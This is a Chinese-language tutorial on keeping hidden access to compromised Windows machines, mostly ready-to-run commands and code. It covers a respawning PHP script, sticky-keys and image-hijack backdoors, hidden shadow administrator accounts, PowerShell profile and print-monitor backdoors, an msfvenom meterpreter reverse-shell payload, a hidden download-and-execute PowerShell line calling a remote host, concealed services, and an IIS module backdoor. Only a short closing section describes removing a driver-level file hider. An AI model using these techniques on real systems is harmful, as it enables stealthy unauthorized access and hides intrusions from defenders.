Windows权限维持
php 不死马权限维持
<?php
ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行.
set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去
$interval = 5; // 每隔*秒运行
do {
$filename = 'test.php';
if(file_exists($filename)) {
echo "xxx";
}
else {
$file = fopen("test.php", "w");
$txt = "<?php phpinfo();?>n";
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
} while (true);
?>
映像劫持技术
注册表
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionImage File
Execution Options
在下面添加一项,这里的命名与后续要触发的可执行文件程序文件名一致,这里我新建了一个moon.exe
然后在moon.exe的右侧新建一个Debugger,在输入值的栏目中填入你的后门绝对路径,我这里以cmd.exe为例

在桌面 修改一个文件的文件名为moon.exe 双击 即可触发
如果想写入后门 把 路径换成你后门地址即可
策略组脚本维持
输入gpedit.msc 打开组策略,打开 windows设置 脚本 里面又关机和开机

在
C:WindowsSystem32GroupPolicyMachineScriptsStartup
新建1.bat
@echo off
systeminfo >1.txt
启动时 选择该脚本文件即可

重启后

shift后门
按着shift五下 会弹出

首先 更改sethc.exe拥有者 为administrator
move C:windowssystem32sethc.exe C:windowssystem32sethc.exe.bak
Copy C:windowssystem32cmd.exe C:windowssystem32sethc.exe
接着 cmd改名替换 sethc.exe


建立影子账号
通常在拿到服务器后会创建一个带$符号的账户,因为在常规cmd下是无法查看到的

通过管理用户可查到用户

通过创建影子账户则可以完全解决这种问题。
打开注册表 HEKY_LOCAL_MACHINESAMSAMDomainsAccountUser

3ea是moonsec$用户 1F4是超级管理员的值
将1F4下F项的值复制到3ea下F项里面,替换原有数据。然后导出moonsec$以及3EB。
删除 ner user moonsec$ /del 删除这个用户 再导入注册表 可以看到 用户已经不现实在这个面板了

用moonsec$登录远程终端

powershell配置文件后门
Powershell配置文件其实就是一个powershell脚本,他可以在每次运行powershell的时候自动运行,所以可以通过向该文件写入自定义的语句用来长期维持权限
依次输入以下命令,查看当前是否存在配置文件
echo $profile
Test-path $profile

如果返回false则需要创建一个
New-Item -Path $profile -Type File –Force
然后写入命令,这里我以创建一个用户为目标,也可以写成反弹shell的,因为之前测试过程中写入过数据,所以这里我是三条内容
1、bat 内容
net user moon 123456 /add & net localgroup administrators moon /add
这里的C:1.bat是我的后门文件位置,实战情况下,各位需要按照实际文件路径来修改
$string = 'Start-Process "C:1.bat"'
$string | Out-File -FilePath $profile -Append
more $profile

重新打开powershell就会自动执行

Monitor 权限维持
项目地址 https://github.com/Al1ex/Monitor
项目说明
用于实现后渗透测试阶段权限维持
项目使用
Step1:下载该项目,之后使用VS编译Monitor.cpp,当然也可以使用编译好的,Monitor.cpp代码如下所示
#include "Windows.h"
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("Monitor");
TCHAR dll[12] = TEXT("test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
pName //监视器名称
pEnvironment //环境架构
pDLLName //监视器DLL文件的名称
Step 2:使用Msfvenom生成dll攻击载荷:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444
-f dll > shell.dll

Step 3:将shell.dll复制到目标主机的system32目录下,之后重命名为test.dll(也就是上面的PDLLName,你也可以自己修改为自己喜欢的,总之随意)
copy C:tempshell.dll C:WindowsSystem32test.dll
之后进入system32目录,并执行以下命令(Monitors.exe为之前编译好的文件,也需要放置到system32目录下):
Step 4:之后进入system32目录,并执行以下命令(Monitors.exe为之前编译好的文件,也需要放置到system32目录下):

Step 5:之后成功接收到Meterpreter会话

持久化实现
为了实现持久性,我们需要在"Monitors"注册表位置下设置一个key:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlPrintMonitors
之后在命令行下执行以下命令创建一个注册表项,该注册表项将包含值test.dll,从编辑器中查看注册表验证密钥是否已创建:
reg add "hklmsystemcurrentcontrolsetcontrolprintmonitorsPentestlab" /v
"Driver" /d "test.dll" /t REG_SZ

下次重新启动时,spoolsv.exe进程将加载Monitors注册表项中存在并存储在Windows文件夹System32中的所有驱动程序DLL文件
下图演示了Meterpreter会话已建立与Print Spooler服务(SYSTEM)相同级别的特权,并且已从System32文件夹执行了

利用安全描述符隐藏服务后门进行权限维持
通过注册服务创建后门
将后门程序注册为自启动服务是我们常用的一种进行权限维持的方法,通常可以通过sc或者powershell来进行创建。
cmd创建自启动服务
sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k
C:Usersadministratorbeacon.exe" depend= Tcpip obj= Localsystem start= auto
powershell创建自启动服务
new-service –Name ".NET CLR Networking 3.5.0.0" –DisplayName ".NET CLR Networking
3.5.0.0" –BinaryPathName "cmd.exe /k C:Usersadministratorbeacon.exe" –
StartupType AutomaticDelayedStart
但创建的服务很容易被发现 通过 sc query 和 Get-Service 很容易发现,直接查询服务也能看见

通过修改SDDL(安全描述符)隐藏服务
众所周知,windows访问控制模型分为两部分:
access token(访问令牌)
安全描述符
安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。安
全描述符可以包含以下安全信息:
对象的所有者和主要组的 Sid(安全标识符)
用于指定允许或拒绝特定用户或组的访问权限的 DACL 。
指定为对象生成审核记录的访问尝试类型的 SACL 。
一组限制安全描述符或其各个成员的含义的控制位。
windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在其SDDL,并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务
sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)
(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)
(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

然后通过sc与get-server查找服务均无结果:
sc query |findstr ".NET CLR Networking 3.5.0.0"
get-service | findstr ".NET CLR Networking 3.5.0.0"

在知道服务名的前提下查询会显示拒绝访问:
sc query ".NET CLR Networking 3.5.0.0"

但这样做有一个问题:在注册表中很容易看到异常value
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices.NET CLR Networking 3.5.0.0

修改注册表ACL
我们可以通过修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果
这里给出一个通过powershell修改注册表项的访问权限的简单脚本
function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:SYSTEMCurrentControlSetServices"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access =
[System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSu
bKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,Chang
ePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $S $acl
}
远程加载powershell脚本
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object
net.webclient).downloadstring('http://192.168.0.149/1.ps1'));Server-Sddl-Change -
Name '.NET CLR Networking 3.5.0.0'"
.NET CLR Networking 3.5.0.0 改成你的服务名
从下图可见已将值从该服务项中隐藏

重启计算机 获取后门

iis后门
web服务器上一般都 支持net 所以可以考虑利用net iis做一个后门
项目地址 https://github.com/WBGlIl/IIS_backdoor
在网站目录下新建一个bin文件夹 这个文件夹 存放dll集 把IIS_backdoor_dll.dll存放在这里面
新建 web.config 或者在原有的文件上添加 内容
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<modules>
<add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" />
</modules>
</system.webServer>
</configuration>
打开 IIS_backdoor_shell 把网址填写进去即可

window 隐藏技术
使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性
这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见
Attrib +s +a +h +r 1.php

这样算是隐藏 其实还有查看方法

驱动级文件隐藏
驱动隐藏最典型的现象就是系统盘中存在以下文件:
c:WINDOWSxlkfs.dat
c:WINDOWSxlkfs.dll
c:WINDOWSxlkfs.ini
c:WINDOWSsystem32driversxlkfs.sys
驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker 下载链接: http://www.xoslab.com/efl.html
一般做黑链的小朋友都会这样设置:只勾选可读,其他的一律拒绝……那么,会有这样的效果,该文件不会显示,不能通过列目录列出来,也不能删除,除非你知道完整路径,你才可以读取文件内容
并且该软件还可以设置密码,启动、修改设置、卸载及重复安装的时候都需要密码,更蛋疼的是,主界面、卸载程序等都可以删除,只留下核心的驱动文件就行了。如何清除?
1、查询服务状态: sc qc xlkfs
2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务: sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。

更新: 2025-05-07 17:24:36
原文: https://www.yuque.com/yuhui.net/network/modnzu7gppc1bxe9

评论(0)
暂无评论